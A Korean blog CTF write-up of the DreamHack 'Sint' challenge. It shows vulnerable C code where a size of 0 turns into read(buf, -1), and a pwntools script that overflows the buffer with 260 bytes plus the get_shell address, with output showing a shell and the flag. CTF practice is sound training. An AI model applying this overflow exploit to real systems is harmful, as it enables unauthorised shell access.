vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • digital-forensics
  • forensic-cheatsheet
  • ssd
  • shellbag
  • File Execution
  • trim
  • Digital-Forensic
  • Thumbcache
  • JavaScript
  • sql injection
  • Los
  • Artifacts
  • forensic artifacts
  • Windows Artifact
  • iconcahce
  • shellbag forensics
  • webhacking.kr
  • Digital Forensic
  • LNK FIile

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared
WriteUp/DreamHack

DreamHack : Sint

WriteUp/DreamHack

DreamHack : Sint

2020. 11. 19. 14:03
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

overflow 를 일으켜야 하는데 어떻게 일으킬지 고민해보자.

지금 사이즈에 0을 주면 read 함수 동작을 이상하게 만들 수 있을 거 같다.

read(0,buf,-1);

이 될 것이다. 그럼 오버플로우가 가능해진다. -1 은 변환될 때 엄청 큰 정수값이 되니까.

from pwn import *

p = remote("host1.dreamhack.games", 21834)
get_shell = 0x8048659
pay = "0"
p.recvuntil("Size: ")
p.sendline(pay)

pay = ""
pay +="A"*260
pay += p32(get_shell)
p.recvuntil("Data: ")
p.sendline(pay)

p.interactive()
vared@ubuntu:~/hacking/dreamhack$ python ex_sint.py 
[+] Opening connection to host1.dreamhack.games on port 21834: Done
[*] Switching to interactive mode
$ ls
flag
sint
$ cat flag
DH{-----flag-----}
저작자표시 (새창열림)

'WriteUp > DreamHack' 카테고리의 다른 글

DreamHack : ssp_001  (0) 2020.11.19
DreamHack : ssp_000  (0) 2020.11.19
DreamHack : Out_of_bound  (0) 2020.11.19
DreamHack : off_by_one_001  (0) 2020.11.19
DreamHack : off_by_one_000  (0) 2020.11.19
    'WriteUp/DreamHack' 카테고리의 다른 글
    • DreamHack : ssp_001
    • DreamHack : ssp_000
    • DreamHack : Out_of_bound
    • DreamHack : off_by_one_001
    vared
    vared

    티스토리툴바

    단축키

    내 블로그

    내 블로그 - 관리자 홈 전환
    Q
    Q
    새 글 쓰기
    W
    W

    블로그 게시글

    글 수정 (권한 있는 경우)
    E
    E
    댓글 영역으로 이동
    C
    C

    모든 영역

    이 페이지의 URL 복사
    S
    S
    맨 위로 이동
    T
    T
    티스토리 홈 이동
    H
    H
    단축키 안내
    Shift + /
    ⇧ + /

    * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.